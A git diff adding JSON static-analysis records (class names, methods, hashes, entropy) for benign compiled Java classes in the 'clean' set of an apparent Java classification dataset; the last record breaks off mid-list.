b/java_classification/data/clean/4c043b84d91538a5a0572da35f9f42e5def52396e181595d139d14cc91d96be1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/commons/configuration/StrictConfigurationComparator", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/commons/configuration/ConfigurationComparator"], "sourcefile": "StrictConfigurationComparator.java", "method_names": ["", "compare"], "minor_version": 3, "const_pool_count": 55}}, "_id": "9cdec91b-1cdd-45c8-953f-18f043edf231", "metadata": {"mimetype": "application/x-java-applet", "sha1": "92c42e16d55caa4e471f3e2511ff8e8d90a55ee5", "file_name": "java_clean/4c043b84d91538a5a0572da35f9f42e5def52396e181595d139d14cc91d96be1", "_id": "9cdec91b-1cdd-45c8-953f-18f043edf231", "score": 0, "entropy": 5.383469754334783, "libmagic": "compiled Java class data, version 45.3", "file_size": 1350, "ssdeep": "24:cEx72ayQuljZo+UAFj0O8Cnuoo6Ta5qO8w8M7rIcnxCZdwl6F2Z0yAlp:zKayFl1PFjl7S4vI6Mu7", "sha256": "4c043b84d91538a5a0572da35f9f42e5def52396e181595d139d14cc91d96be1", "md5": "a5679b26f42c8950e1615da63220a923", "parent_sha256": "4c043b84d91538a5a0572da35f9f42e5def52396e181595d139d14cc91d96be1"}} \ No newline at end of file diff --git a/java_classification/data/clean/4c667ff3a1791642217636e6b7dd50d0dda743d5f7d403abb465e2cfd3a46215.results b/java_classification/data/clean/4c667ff3a1791642217636e6b7dd50d0dda743d5f7d403abb465e2cfd3a46215.results new file mode 100755 index 0000000..c49bd02 --- /dev/null +++ b/java_classification/data/clean/4c667ff3a1791642217636e6b7dd50d0dda743d5f7d403abb465e2cfd3a46215.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Connection.java", "class_name": "javax/jms/Connection", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 45, "method_names": ["close", "getClientID", "getExceptionListener", "getMetaData", "setClientID", "setExceptionListener", "start", "stop"], "minor_version": 3, "const_pool_count": 33}}, "_id": "6e94afe4-3247-4d16-aae1-eac446e70ff3", "metadata": {"mimetype": "application/x-java-applet", "sha1": "c5b9328c1f6d03b71a6f6482f77ca8a7b9e3c4aa", "file_name": "java_clean/4c667ff3a1791642217636e6b7dd50d0dda743d5f7d403abb465e2cfd3a46215", "_id": "6e94afe4-3247-4d16-aae1-eac446e70ff3", "score": 0, "entropy": 4.9751257466100265, "libmagic": "compiled Java class data, version 45.3", "file_size": 717, "ssdeep": "12:cOewMOXS/PstH/M0st3JTf9lPC/MOkS/zst82ockZ3YuORVS/fwkuXYdc/62qklw:cKwG6Tf9lqAE7pcPX4Qm2flDplOY92hB", "sha256": "4c667ff3a1791642217636e6b7dd50d0dda743d5f7d403abb465e2cfd3a46215", "md5": "64c0d4d5fee26e9abf3adb8cb0017004", "parent_sha256": "4c667ff3a1791642217636e6b7dd50d0dda743d5f7d403abb465e2cfd3a46215"}} \ No newline at end of file diff --git a/java_classification/data/clean/4c70ef3ef86d07069a4797f12b662f1dbf8b2c7c9f3d6fd9a5f1d995b95ed49a.results b/java_classification/data/clean/4c70ef3ef86d07069a4797f12b662f1dbf8b2c7c9f3d6fd9a5f1d995b95ed49a.results new file mode 100755 index 0000000..4551778 --- /dev/null +++ b/java_classification/data/clean/4c70ef3ef86d07069a4797f12b662f1dbf8b2c7c9f3d6fd9a5f1d995b95ed49a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ImmutableMultiset.java", "class_name": "com/google/common/collect/ImmutableMultiset$Builder", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "add", "addCopies", "setCount", "add", "addAll", "addAll", "build", "build", "addAll", "addAll", "add", "add"], "minor_version": 0, "const_pool_count": 157}}, "_id": "a8ac49f0-4742-4be6-8e26-ac96fcc7a21d", "verbose": {"java": {"signatures": ["Lcom/google/common/collect/Multiset;", "(Lcom/google/common/collect/Multiset;)V", "(TE;)Lcom/google/common/collect/ImmutableMultiset$Builder;", "(TE;I)Lcom/google/common/collect/ImmutableMultiset$Builder;", "(TE;I)Lcom/google/common/collect/ImmutableMultiset$Builder;", "([TE;)Lcom/google/common/collect/ImmutableMultiset$Builder;", "(Ljava/lang/Iterable<+TE;>;)Lcom/google/common/collect/ImmutableMultiset$Builder;", "(Ljava/util/Iterator<+TE;>;)Lcom/google/common/collect/ImmutableMultiset$Builder;", "()Lcom/google/common/collect/ImmutableMultiset;", "Lcom/google/common/collect/ImmutableCollection$Builder;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6bead49dc49b1da3e9df9114d6d1de81395e5f1b", "file_name": "java_clean/4c70ef3ef86d07069a4797f12b662f1dbf8b2c7c9f3d6fd9a5f1d995b95ed49a", "_id": "a8ac49f0-4742-4be6-8e26-ac96fcc7a21d", "score": 0, "entropy": 5.182296337977655, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5097, "ssdeep": "96:hxNaFl7Y+ZQ+2tModvYw9phsvQ8phWxyNg09:hxOls+ZvycvfWxAt", "sha256": "4c70ef3ef86d07069a4797f12b662f1dbf8b2c7c9f3d6fd9a5f1d995b95ed49a", "md5": "3a9e9ced1412dc1430cb1962c1eeb3da", "parent_sha256": "4c70ef3ef86d07069a4797f12b662f1dbf8b2c7c9f3d6fd9a5f1d995b95ed49a"}} \ No newline at end of file diff --git a/java_classification/data/clean/4d6735059d69a027e13a94f01f967e9e26d598236afd1b65b4cdc53275b0d4ec.results b/java_classification/data/clean/4d6735059d69a027e13a94f01f967e9e26d598236afd1b65b4cdc53275b0d4ec.results new file mode 100755 index 0000000..8615677 --- /dev/null +++ b/java_classification/data/clean/4d6735059d69a027e13a94f01f967e9e26d598236afd1b65b4cdc53275b0d4ec.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "jpass/c/a/z", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER", "ACC_ENUM"], "major_version": 50, "method_names": ["", "", "a", "b", "a", "values", "valueOf"], "minor_version": 0, "const_pool_count": 159}}, "_id": "ef4e9bcd-b720-438e-8fb8-39a4dbd814b3", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.479404488722335, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "Copy"}}}, "constant strings": ["AcceleratorKey", "CLEAR_ALL", "COPY", "CUT", "Clear All", "Copy", "Cut", "DELETE", "Delete", "PASTE", "Paste", "SELECT_ALL", "Select All", "jpass.text.clear_all_action", "jpass.text.copy_action", "jpass.text.cut_action", "jpass.text.delete_action", "jpass.text.paste_action", "jpass.text.select_all_action"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "61f8c39109688f673cadfe8ff51eb3d248eea5fc", "file_name": "java_clean/4d6735059d69a027e13a94f01f967e9e26d598236afd1b65b4cdc53275b0d4ec", "_id": "ef4e9bcd-b720-438e-8fb8-39a4dbd814b3", "score": 0, "entropy": 5.731561441159788, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2419, "ssdeep": "48:qOd5eTRjelM4Zy1AKFJVhDem882WY6AogHbN9YFm3tUH2z8MBRh+tt:8j0M4jOVhAHim9UH2hBX+v", "sha256": "4d6735059d69a027e13a94f01f967e9e26d598236afd1b65b4cdc53275b0d4ec", "md5": "9f2295f06ed27e3e0bae9564abd57888", "parent_sha256": "4d6735059d69a027e13a94f01f967e9e26d598236afd1b65b4cdc53275b0d4ec"}} \ No newline at end of file diff --git a/java_classification/data/clean/4eafa30ad7ac85bbbb2c258db3ba3cae4244b384e71080cfdab46f3f5fb95397.results b/java_classification/data/clean/4eafa30ad7ac85bbbb2c258db3ba3cae4244b384e71080cfdab46f3f5fb95397.results new file mode 100755 index 0000000..1a93fe6 --- /dev/null +++ b/java_classification/data/clean/4eafa30ad7ac85bbbb2c258db3ba3cae4244b384e71080cfdab46f3f5fb95397.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ReferenceMap.java", "class_name": "org/apache/commons/collections/ReferenceMap$2", "access_permissions": ["ACC_SUPER"], "major_version": 45, "method_names": ["", "size", "iterator", "contains", "remove", "clear", "toArray", "toArray"], "minor_version": 3, "const_pool_count": 92}}, "_id": "4e7b57f3-d82a-41c0-8573-45fa5cf8ed9e", "metadata": {"mimetype": "application/x-java-applet", "sha1": "a4b857781df78489e524f05ada14e3ac922d52ad", "file_name": "java_clean/4eafa30ad7ac85bbbb2c258db3ba3cae4244b384e71080cfdab46f3f5fb95397", "_id": "4e7b57f3-d82a-41c0-8573-45fa5cf8ed9e", "score": 0, "entropy": 5.207996767256982, "libmagic": "compiled Java class data, version 45.3", "file_size": 2031, "ssdeep": "24:cfno565T7luljxeO08I7/PETTgO8w2xKV4Vsnx63KZ3j0+5B8Pxb8oyz7V0QuSr6:Qno56xYldy0TxWNc3INTJSep", "sha256": "4eafa30ad7ac85bbbb2c258db3ba3cae4244b384e71080cfdab46f3f5fb95397", "md5": "bbdd4a050503949296fe4cb307e76022", "parent_sha256": "4eafa30ad7ac85bbbb2c258db3ba3cae4244b384e71080cfdab46f3f5fb95397"}} \ No newline at end of file diff --git a/java_classification/data/clean/4ec1ce0314a599f38447b56501c8fb26a36f418ed466a4ab948c0d7f10e743e8.results b/java_classification/data/clean/4ec1ce0314a599f38447b56501c8fb26a36f418ed466a4ab948c0d7f10e743e8.results new file mode 100755 index 0000000..ce98169 --- /dev/null +++ b/java_classification/data/clean/4ec1ce0314a599f38447b56501c8fb26a36f418ed466a4ab948c0d7f10e743e8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "JsonArrayDeserializationVisitor.java", "class_name": "com/google/gson/JsonArrayDeserializationVisitor", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "constructTarget", "visitArray", "startVisitingObject", "visitArrayField", "visitObjectField", "visitFieldUsingCustomHandler", "visitPrimitive"], "minor_version": 0, "const_pool_count": 200}}, "_id": "f9355de5-4511-4f36-b2b8-8f7c995d704c", "verbose": {"java": {"signatures": ["(Lcom/google/gson/JsonArray;Ljava/lang/reflect/Type;Lcom/google/gson/ObjectNavigatorFactory;Lcom/google/gson/ObjectConstructor;Lcom/google/gson/ParameterizedTypeHandlerMap;>;Lcom/google/gson/JsonDeserializationContext;)V", "()TT;", "Lcom/google/gson/JsonDeserializationVisitor;"], "constant strings": ["Expecting array found: ", "Expecting array but found object: ", "Expecting array but found array field ", ": ", "Expecting array but found object field ", "Expecting array but found field ", "Type information is unavailable, and the target is not a primitive: "], "JAVA String Analysis": {"combined strings entropy": 4.275866826665665}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ab721f31b1cbecdda0f8d304bd972608310b0193", "file_name": "java_clean/4ec1ce0314a599f38447b56501c8fb26a36f418ed466a4ab948c0d7f10e743e8", "_id": "f9355de5-4511-4f36-b2b8-8f7c995d704c", "score": 0, "entropy": 5.549673044417243, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5733, "ssdeep": "48:SG6GM6Q9lDzBW5IpvVZd6Zw3VAT+4vIgefviglvv5upyHmj3lFQ1MtoDjQw3ND64:S9XlzGAFNDeuIw5MHBlbloxh", "sha256": "4ec1ce0314a599f38447b56501c8fb26a36f418ed466a4ab948c0d7f10e743e8", "md5": "d5466dd2843dd478aacc10186a7644f3", "parent_sha256": "4ec1ce0314a599f38447b56501c8fb26a36f418ed466a4ab948c0d7f10e743e8"}} \ No newline at end of file diff --git a/java_classification/data/clean/4f156425bd3291e1ba72b24624030160dc4e690dea1e9971836c9073081cdae2.results b/java_classification/data/clean/4f156425bd3291e1ba72b24624030160dc4e690dea1e9971836c9073081cdae2.results new file mode 100755 index 0000000..dc9367b --- /dev/null +++ b/java_classification/data/clean/4f156425bd3291e1ba72b24624030160dc4e690dea1e9971836c9073081cdae2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/hadoop/HadoopVersionAnnotation", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT", "ACC_ANNOTATION"], "interfaces": ["java/lang/annotation/Annotation"], "sourcefile": "HadoopVersionAnnotation.java", "method_names": ["version", "user", "date", "url", "revision"], "minor_version": 0, "const_pool_count": 23}}, "_id": "649cb7d7-d517-47f0-bfab-3220bcab34c4", "metadata": {"mimetype": "application/x-java-applet", "sha1": "d12712320a4a6b22e9eb842d41060fd7d0b0c0d8", "file_name": "java_clean/4f156425bd3291e1ba72b24624030160dc4e690dea1e9971836c9073081cdae2", "_id": "649cb7d7-d517-47f0-bfab-3220bcab34c4", "score": 0, "entropy": 4.981435571063644, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 522, "ssdeep": "12:tqMOGK0nTptvhFunFInU0g/lfXfs3RJEw60+dfI:QgTptyMOlfy4e+dfI", "sha256": "4f156425bd3291e1ba72b24624030160dc4e690dea1e9971836c9073081cdae2", "md5": "7b2fabb1c7771917f5e1fba59ae0388d", "parent_sha256": "4f156425bd3291e1ba72b24624030160dc4e690dea1e9971836c9073081cdae2"}} \ No newline at end of file diff --git a/java_classification/data/clean/4f53d6c1fc260348b97fc82d0a6e8cff5859e5af6ce1017108b7a4f4cfabe607.results b/java_classification/data/clean/4f53d6c1fc260348b97fc82d0a6e8cff5859e5af6ce1017108b7a4f4cfabe607.results new file mode 100755 index 0000000..c058f9e --- /dev/null +++ b/java_classification/data/clean/4f53d6c1fc260348b97fc82d0a6e8cff5859e5af6ce1017108b7a4f4cfabe607.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/odlabs/wiquery/ui/droppable/DroppableAccept", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/odlabs/wiquery/core/options/IComplexOption"], "sourcefile": "DroppableAccept.java", "method_names": ["", "", "", "getLiteralParam", "getFunctionParam", "getJavascriptOption", "setHelperEnumParam", "setFunctionParam", "setParam"], "minor_version": 0, "const_pool_count": 66}}, "_id": "d3407a20-de1b-4a81-93bf-aa59b1cb24f3", "verbose": {"java": {"constant strings": ["The DroppableAccept must have one not null parameter"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d0d58512a94595f8e70c2b469a11267d0c072540", "file_name": "java_clean/4f53d6c1fc260348b97fc82d0a6e8cff5859e5af6ce1017108b7a4f4cfabe607", "_id": "d3407a20-de1b-4a81-93bf-aa59b1cb24f3", "score": 0, "entropy": 5.193339227400874, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1988, "ssdeep": "48:JyhBGlB4a/NWT5YPwSlCqEXnFCXZ2aGgLG:0SlB5Nw9sQFCXZ2pgLG", "sha256": "4f53d6c1fc260348b97fc82d0a6e8cff5859e5af6ce1017108b7a4f4cfabe607", "md5": "8e3d1bec50acbdc811a74d74f14d794b", "parent_sha256": "4f53d6c1fc260348b97fc82d0a6e8cff5859e5af6ce1017108b7a4f4cfabe607"}} \ No newline at end of file diff --git a/java_classification/data/clean/4fa3fb65eb32dfe10a972402e11f7846b4886fa5d17b66e99db706e8098bb043.results b/java_classification/data/clean/4fa3fb65eb32dfe10a972402e11f7846b4886fa5d17b66e99db706e8098bb043.results new file mode 100755 index 0000000..94314fc --- /dev/null +++ b/java_classification/data/clean/4fa3fb65eb32dfe10a972402e11f7846b4886fa5d17b66e99db706e8098bb043.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/LoadSaveScreen$14", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "LoadSaveScreen.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 59}}, "_id": "6ea860f3-9038-4b79-a46f-c3808ee61b0e", "metadata": {"mimetype": "application/x-java-applet", "sha1": "a36d44a5c0c7f3bdfbef9ebf78903e945b15694f", "file_name": "java_clean/4fa3fb65eb32dfe10a972402e11f7846b4886fa5d17b66e99db706e8098bb043", "_id": "6ea860f3-9038-4b79-a46f-c3808ee61b0e", "score": 0, "entropy": 5.312525163892589, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1076, "ssdeep": "24:eLhOwJL/1IL4U9ljCVLSgLv+IL+h9v/4s7ZQlRAyS:qhOW/1Q4U9loZvLaZ4sZOA5", "sha256": "4fa3fb65eb32dfe10a972402e11f7846b4886fa5d17b66e99db706e8098bb043", "md5": "21e8ece112f3135f3c03b850e7dc97cb", "parent_sha256": "4fa3fb65eb32dfe10a972402e11f7846b4886fa5d17b66e99db706e8098bb043"}} \ No newline at end of file diff --git a/java_classification/data/clean/4fecc0ac6dd3d68a97068c5043b5a8b680655d7bcfb4c1311f8f6eda56fb09fc.results b/java_classification/data/clean/4fecc0ac6dd3d68a97068c5043b5a8b680655d7bcfb4c1311f8f6eda56fb09fc.results new file mode 100755 index 0000000..bcc1939 --- /dev/null +++ b/java_classification/data/clean/4fecc0ac6dd3d68a97068c5043b5a8b680655d7bcfb4c1311f8f6eda56fb09fc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SingleThreadModel.java", "class_name": "javax/servlet/SingleThreadModel", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 46, "minor_version": 0, "const_pool_count": 8}}, "_id": "69949669-116c-43da-8084-d7cd6296f823", "metadata": {"mimetype": "application/x-java-applet", "sha1": "c38b3b0a41de59445c4644126dc7608a5c61b36d", "file_name": "java_clean/4fecc0ac6dd3d68a97068c5043b5a8b680655d7bcfb4c1311f8f6eda56fb09fc", "_id": "69949669-116c-43da-8084-d7cd6296f823", "score": 0, "entropy": 4.675364141959443, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 148, "ssdeep": "3:Dbllx0jXXRsz2ZSRsAVwTTk4NHK2MLCSRsUCjQCK8PmkllUlDlglt:IG/VuRY2K+RPgl+lt", "sha256": "4fecc0ac6dd3d68a97068c5043b5a8b680655d7bcfb4c1311f8f6eda56fb09fc", "md5": "557defd28a31bc9f8428c72f8f4051eb", "parent_sha256": "4fecc0ac6dd3d68a97068c5043b5a8b680655d7bcfb4c1311f8f6eda56fb09fc"}} \ No newline at end of file diff --git a/java_classification/data/clean/5082680fc6252034c12f60871892388741dafd38e330e52c5da8f32d48d66135.results b/java_classification/data/clean/5082680fc6252034c12f60871892388741dafd38e330e52c5da8f32d48d66135.results new file mode 100755 index 0000000..0ae4bbb --- /dev/null +++ b/java_classification/data/clean/5082680fc6252034c12f60871892388741dafd38e330e52c5da8f32d48d66135.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/reflections/serializers/JavaCodeSerializer$IMethod", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "interfaces": ["org/reflections/serializers/JavaCodeSerializer$IElement"], "sourcefile": "JavaCodeSerializer.java", "minor_version": 0, "const_pool_count": 14}}, "_id": "b074285f-7fc6-4331-9808-893abb3ce0d9", "metadata": {"mimetype": "application/x-java-applet", "sha1": "a3492cca2e0b46adcff2798d00d68ba82355b75c", "file_name": "java_clean/5082680fc6252034c12f60871892388741dafd38e330e52c5da8f32d48d66135", "_id": "b074285f-7fc6-4331-9808-893abb3ce0d9", "score": 0, "entropy": 4.888683673430168, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 328, "ssdeep": "6:HYXyAz2PWRKaz8ru0BRPFDPWRKazLAlk0k2JQVPWRKazJaNlZRslf:4Vz2uIazoJBRZuIazCDRYuIazJSvS", "sha256": "5082680fc6252034c12f60871892388741dafd38e330e52c5da8f32d48d66135", "md5": "50f0ad127861b64db6c047e6658c116a", "parent_sha256": "5082680fc6252034c12f60871892388741dafd38e330e52c5da8f32d48d66135"}} \ No newline at end of file diff --git a/java_classification/data/clean/50c758ef0aed4b93cee3da61ca158ecc48b68a02c4d08fa07e69bd0b01f04113.results b/java_classification/data/clean/50c758ef0aed4b93cee3da61ca158ecc48b68a02c4d08fa07e69bd0b01f04113.results new file mode 100755 index 0000000..c078954 --- /dev/null +++ b/java_classification/data/clean/50c758ef0aed4b93cee3da61ca158ecc48b68a02c4d08fa07e69bd0b01f04113.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TarUtils.java", "class_name": "org/apache/commons/compress/archivers/tar/TarUtils", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "parseOctal", "parseName", "formatNameBytes", "formatUnsignedOctalString", "formatOctalBytes", "formatLongOctalBytes", "formatCheckSumOctalBytes", "computeCheckSum"], "minor_version": 0, "const_pool_count": 115}}, "_id": "25dce70f-5a60-4d45-8ff4-2747a65a10cf", "verbose": {"java": {"constant strings": ["Invalid octal digit at position ", " in \\'", "\\'", "=", " will not fit in octal number buffer of length "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "1d394d1b19ec756444fd530c7def1d0b52dd8198", "file_name": "java_clean/50c758ef0aed4b93cee3da61ca158ecc48b68a02c4d08fa07e69bd0b01f04113", "_id": "25dce70f-5a60-4d45-8ff4-2747a65a10cf", "score": 0, "entropy": 5.547262834240497, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3054, "ssdeep": "48:uaRNJyFltn6qMDPUc8198bVQ+1ZouzT6K+8dhl9H5XEUSS+eyxN4G1Mtk:nUFltqzUMQk2K9d9HGUSN7z4Gatk", "sha256": "50c758ef0aed4b93cee3da61ca158ecc48b68a02c4d08fa07e69bd0b01f04113", "md5": "9b5b3cca6a3a120236b2a27d82fe7e58", "parent_sha256": "50c758ef0aed4b93cee3da61ca158ecc48b68a02c4d08fa07e69bd0b01f04113"}} \ No newline at end of file diff --git a/java_classification/data/clean/50e9f0a2cb68191c72aafba32a60e71ef908afd7a0e75529dedbd623b0527455.results b/java_classification/data/clean/50e9f0a2cb68191c72aafba32a60e71ef908afd7a0e75529dedbd623b0527455.results new file mode 100755 index 0000000..a2b3dd2 --- /dev/null +++ b/java_classification/data/clean/50e9f0a2cb68191c72aafba32a60e71ef908afd7a0e75529dedbd623b0527455.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/core/MovieSurface", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["hu/openig/core/SwappableRenderer"], "sourcefile": "MovieSurface.java", "method_names": ["", "getBackbuffer", "getScalingMode", "setScalingMode", "swap", "init", "paint", "setInterpolation", "getInterpolation", "setCenter", "isCenter"], "minor_version": 0, "const_pool_count": 195}}, "_id": "156b4af6-68a9-4b73-aaa4-db78019acd2e", "verbose": {"java": {"constant strings": ["init() not called"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "196b1ebd90eca48a8cbe6205622bc62fb21913a2", "file_name": "java_clean/50e9f0a2cb68191c72aafba32a60e71ef908afd7a0e75529dedbd623b0527455", "_id": "156b4af6-68a9-4b73-aaa4-db78019acd2e", "score": 0, "entropy": 5.5939700218640365, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4137, "ssdeep": "96:slD3u+M+PliWUh6xvhhOQpkucA6dwZM+koQSdZ8q5GnhYyns6D0:03M+PliWQ6De1dUM+kpSdZ75KhbFD0", "sha256": "50e9f0a2cb68191c72aafba32a60e71ef908afd7a0e75529dedbd623b0527455", "md5": "fcd8aade96ce582877ff2ebccb01dd1e", "parent_sha256": "50e9f0a2cb68191c72aafba32a60e71ef908afd7a0e75529dedbd623b0527455"}} \ No newline at end of file diff --git a/java_classification/data/clean/517d2e7abf52805016e17a7d27fd307350d6f39370b847e1759fb4dee62f3b7a.results b/java_classification/data/clean/517d2e7abf52805016e17a7d27fd307350d6f39370b847e1759fb4dee62f3b7a.results new file mode 100755 index 0000000..8f74f35 --- /dev/null +++ b/java_classification/data/clean/517d2e7abf52805016e17a7d27fd307350d6f39370b847e1759fb4dee62f3b7a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "VideoPlayer.java", "class_name": "hu/openig/tools/VideoPlayer$21", "access_permissions": ["ACC_SUPER"], "major_version": 50, "method_names": ["", "work", "done"], "minor_version": 0, "const_pool_count": 139}}, "_id": "7b7c61dc-4e03-420e-9c11-40afe1f72ed3", "metadata": {"mimetype": "application/x-java-applet", "sha1": "4594601fc27da14bc0bb4f5233798434b5fa894a", "file_name": "java_clean/517d2e7abf52805016e17a7d27fd307350d6f39370b847e1759fb4dee62f3b7a", "_id": "7b7c61dc-4e03-420e-9c11-40afe1f72ed3", "score": 0, "entropy": 5.576866629731408, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2875, "ssdeep": "48:eRHhRHhBpRHGC3VRHQUBKsRHklsRHLRHFfRHmRH9VW62RHXRH5RHRFRHkVBN/yh4:yvnm4wcElMtLKdohXNm/yh2Hr", "sha256": "517d2e7abf52805016e17a7d27fd307350d6f39370b847e1759fb4dee62f3b7a", "md5": "573ea260cdd80f514e5787c154cecee9", "parent_sha256": "517d2e7abf52805016e17a7d27fd307350d6f39370b847e1759fb4dee62f3b7a"}} \ No newline at end of file diff --git a/java_classification/data/clean/51a059ea481c725aef70751323fc38836b87caea7fa793dfe3814119b009a00e.results b/java_classification/data/clean/51a059ea481c725aef70751323fc38836b87caea7fa793dfe3814119b009a00e.results new file mode 100755 index 0000000..c0fc74c --- /dev/null +++ b/java_classification/data/clean/51a059ea481c725aef70751323fc38836b87caea7fa793dfe3814119b009a00e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "CategoryImmediateEditor.java", "class_name": "org/apache/log4j/lf5/viewer/categoryexplorer/CategoryImmediateEditor", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "shouldSelectCell", "inCheckBoxHitRegion", "canEditImmediately", "determineOffset"], "minor_version": 3, "const_pool_count": 146}}, "_id": "60954480-54bd-4dab-802c-e8d8529bb35d", "metadata": {"mimetype": "application/x-java-applet", "sha1": "ce15ea5360eee4fc93d71b6f1a8599f844967f69", "file_name": "java_clean/51a059ea481c725aef70751323fc38836b87caea7fa793dfe3814119b009a00e", "_id": "60954480-54bd-4dab-802c-e8d8529bb35d", "score": 0, "entropy": 5.497966638112258, "libmagic": "compiled Java class data, version 45.3", "file_size": 3203, "ssdeep": "48:aTxHvxFx3SlGpa5REX3W+5Dztr4j0jvyn4jHfE0qDqPr1HAJRZ:aVJrSlGpqREWM3hbywH8lmj9yRZ", "sha256": "51a059ea481c725aef70751323fc38836b87caea7fa793dfe3814119b009a00e", "md5": "1d76084971d89683c16ed4e562e3ae99", "parent_sha256": "51a059ea481c725aef70751323fc38836b87caea7fa793dfe3814119b009a00e"}} \ No newline at end of file diff --git a/java_classification/data/clean/5213fdffa462948c1e977fb2bb982ca8718f45f30c6eb55f6696a9d325b3c8ac.results b/java_classification/data/clean/5213fdffa462948c1e977fb2bb982ca8718f45f30c6eb55f6696a9d325b3c8ac.results new file mode 100755 index 0000000..08ded79 --- /dev/null +++ b/java_classification/data/clean/5213fdffa462948c1e977fb2bb982ca8718f45f30c6eb55f6696a9d325b3c8ac.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TransformFieldAccess.java", "class_name": "javassist/convert/TransformFieldAccess", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 48, "method_names": ["", "initialize", "transform"], "minor_version": 0, "const_pool_count": 120}}, "_id": "d160f37e-ed40-4517-b308-f1c0ccce5340", "metadata": {"mimetype": "application/x-java-applet", "sha1": "bb2b3a94c77693b23c921a91247673a8510b2f98", "file_name": "java_clean/5213fdffa462948c1e977fb2bb982ca8718f45f30c6eb55f6696a9d325b3c8ac", "_id": "d160f37e-ed40-4517-b308-f1c0ccce5340", "score": 0, "entropy": 5.427714932355834, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2421, "ssdeep": "48:6aHDYUm0fflHfZfvFdbfKfSfGMGfcYGwqz4oYyAA25:5DzDl0qqyAf5", "sha256": "5213fdffa462948c1e977fb2bb982ca8718f45f30c6eb55f6696a9d325b3c8ac", "md5": "5079b2b6b632e893875e0394651c85a7", "parent_sha256": "5213fdffa462948c1e977fb2bb982ca8718f45f30c6eb55f6696a9d325b3c8ac"}} \ No newline at end of file diff --git a/java_classification/data/clean/5245e61cb735167c6dce7f1eca152d671b2bc824f07e5edf50de0fad1076c6a5.results b/java_classification/data/clean/5245e61cb735167c6dce7f1eca152d671b2bc824f07e5edf50de0fad1076c6a5.results new file mode 100755 index 0000000..3bd3432 --- /dev/null +++ b/java_classification/data/clean/5245e61cb735167c6dce7f1eca152d671b2bc824f07e5edf50de0fad1076c6a5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "A220Mission1Applet", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/lang/Runnable", "java/awt/event/MouseMotionListener", "java/awt/event/MouseListener", "java/awt/event/KeyListener"], "sourcefile": "LGJC", "method_names": ["", "init", "start", "stop", "destroy", "startUp", "newGame", "keyPressed", "keyTyped", "keyReleased", "LGJC", "addImage", "update", "paint", "run", "mousePressed", "mouseReleased", "mouseEntered", "mouseExited", "mouseDragged", "mouseClicked", "mouseMoved", "addKeyListener", "addMouseListener", "addMouseMotionListener", "append", "createImage", "currentThread", "currentTimeMillis", "downloadImage", "drawImage", "drawRect", "drawString", "equals", "err", "fillRect", "getAudioClip", "getImage", 